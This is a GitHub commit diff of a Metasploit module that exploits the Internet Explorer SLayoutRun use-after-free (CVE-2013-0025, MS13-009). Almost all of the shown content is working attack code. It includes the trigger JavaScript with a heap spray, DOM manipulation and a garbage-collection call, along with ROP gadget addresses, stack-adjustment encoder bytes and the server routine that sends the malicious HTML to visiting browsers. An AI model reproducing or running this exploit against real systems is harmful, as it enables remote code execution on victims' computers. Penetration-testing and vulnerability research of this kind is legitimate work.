Skip to content

Commit 4d3ffb3

Browse files
committed
Merge pull request #2 from jvazquez-r7/ms13_009_work
Work around MS13-009
2 parents ade2c9e + 5b16e26 commit 4d3ffb3

File tree

1 file changed

+21
-54
lines changed

1 file changed

+21
-54
lines changed

modules/exploits/windows/browser/ie_slayoutrun_uaf.rb renamed to modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb

Lines changed: 21 additions & 54 deletions
Original file line numberDiff line numberDiff line change
@@ -8,12 +8,11 @@
88
require 'msf/core'
99

1010
class Metasploit3 < Msf::Exploit::Remote
11-
Rank = AverageRanking
11+
Rank = NormalRanking
1212

1313
include Msf::Exploit::Remote::HttpServer::HTML
1414
include Msf::Exploit::RopDb
1515

16-
1716
def initialize(info={})
1817
super(update_info(info,
1918
'Name' => "Microsoft Internet Explorer SLayoutRun Use-After-Free",
@@ -25,20 +24,20 @@ def initialize(info={})
2524
'License' => MSF_LICENSE,
2625
'Author' =>
2726
[
28-
'Scott Bell <[email protected]>', # Vulnerability discovery & Metasploit module
27+
'Scott Bell <[email protected]>' # Vulnerability discovery & Metasploit module
2928
],
3029
'References' =>
3130
[
3231
[ 'CVE', '2013-0025' ],
3332
[ 'MSB', 'MS13-009' ],
34-
[ 'URL', 'http://security-assessment.com/files/documents/advisory/ie_slayoutrun_uaf.pdf' ],
33+
[ 'URL', 'http://security-assessment.com/files/documents/advisory/ie_slayoutrun_uaf.pdf' ]
3534
],
3635
'Payload' =>
3736
{
38-
'BadChars' => "\x00",
39-
'Space' => 1024,
40-
'DisableNops' => true,
41-
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
37+
'BadChars' => "\x00",
38+
'Space' => 920,
39+
'DisableNops' => true,
40+
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
4241
},
4342
'DefaultOptions' =>
4443
{
@@ -137,44 +136,34 @@ def get_payload(t, cli)
137136
rop_payload << [0x77c39f92].pack("V") # RETN
138137
rop_payload << [0x0c0c0c8c].pack("V") # Shellcode offset
139138
rop_payload << code
140-
141139
end
142140

143141
return rop_payload
144142
end
145143

146-
def this_resource
147-
r = get_resource
148-
return ( r == '/') ? '' : r
149-
end
150-
151144
def get_exploit(my_target, cli)
152145
p = get_payload(my_target, cli)
153146
js = heap_spray(my_target, p)
154147

155-
156148
html = %Q|
157149
<!doctype html>
158150
<html>
159151
<head>
160152
<script>
161-
var data
162-
var objArray = new Array(1800);
163153
#{js}
154+
</script>
155+
<script>
156+
var data;
157+
var objArray = new Array(1150);
164158
165159
setTimeout(function(){
166-
for (var i=0;i<objArray.length;i++){
167-
objArray[i] = document.createElement('body');
168-
document.body.appendChild(objArray[i])
169-
objArray[i].style.display = "none"
170-
}
160+
document.body.style.whiteSpace = "pre-line";
171161
172-
document.body.style.whiteSpace = "pre-line"
162+
CollectGarbage();
173163
174-
for(var i=0;i<10;i++){
175-
for (var i=0;i<(objArray.length-650);i++){
176-
objArray[i].className = data += unescape("%u0c0c%u0c0c");
177-
}
164+
for (var i=0;i<1150;i++){
165+
objArray[i] = document.createElement('div');
166+
objArray[i].className = data += unescape("%u0c0c%u0c0c");
178167
}
179168
180169
setTimeout(function(){document.body.innerHTML = "boo"}, 100)
@@ -192,19 +181,6 @@ def get_exploit(my_target, cli)
192181
end
193182

194183

195-
def get_iframe
196-
html = %Q|
197-
<html>
198-
<body>
199-
<iframe src="#{this_resource}/#{@iframe_name}" height="1" width="1"></iframe>
200-
</body>
201-
</html>
202-
|
203-
204-
return html
205-
end
206-
207-
208184
def on_request_uri(cli, request)
209185
agent = request.headers['User-Agent']
210186
uri = request.uri
@@ -218,21 +194,12 @@ def on_request_uri(cli, request)
218194
return
219195
end
220196

221-
if uri =~ /#{@iframe_name}/
222-
html = get_exploit(my_target, cli)
223-
html = html.gsub(/^\t\t/, '')
224-
print_status("Sending HTML...")
225-
else
226-
html = get_iframe
227-
print_status "Sending IFRAME..."
228-
end
229-
send_response(cli, html, {'Content-Type'=>'text/html'})
230-
197+
html = get_exploit(my_target, cli)
198+
html = html.gsub(/^\t\t/, '')
199+
print_status "Sending HTML..."
200+
send_response(cli, html, {'Content-Type'=>'text/html'})
231201

232202
end
233203

234-
def exploit
235-
@iframe_name = "#{Rex::Text.rand_text_alpha(5)}.html"
236-
super
237-
end
238204
end
205+

0 commit comments

Comments
 (0)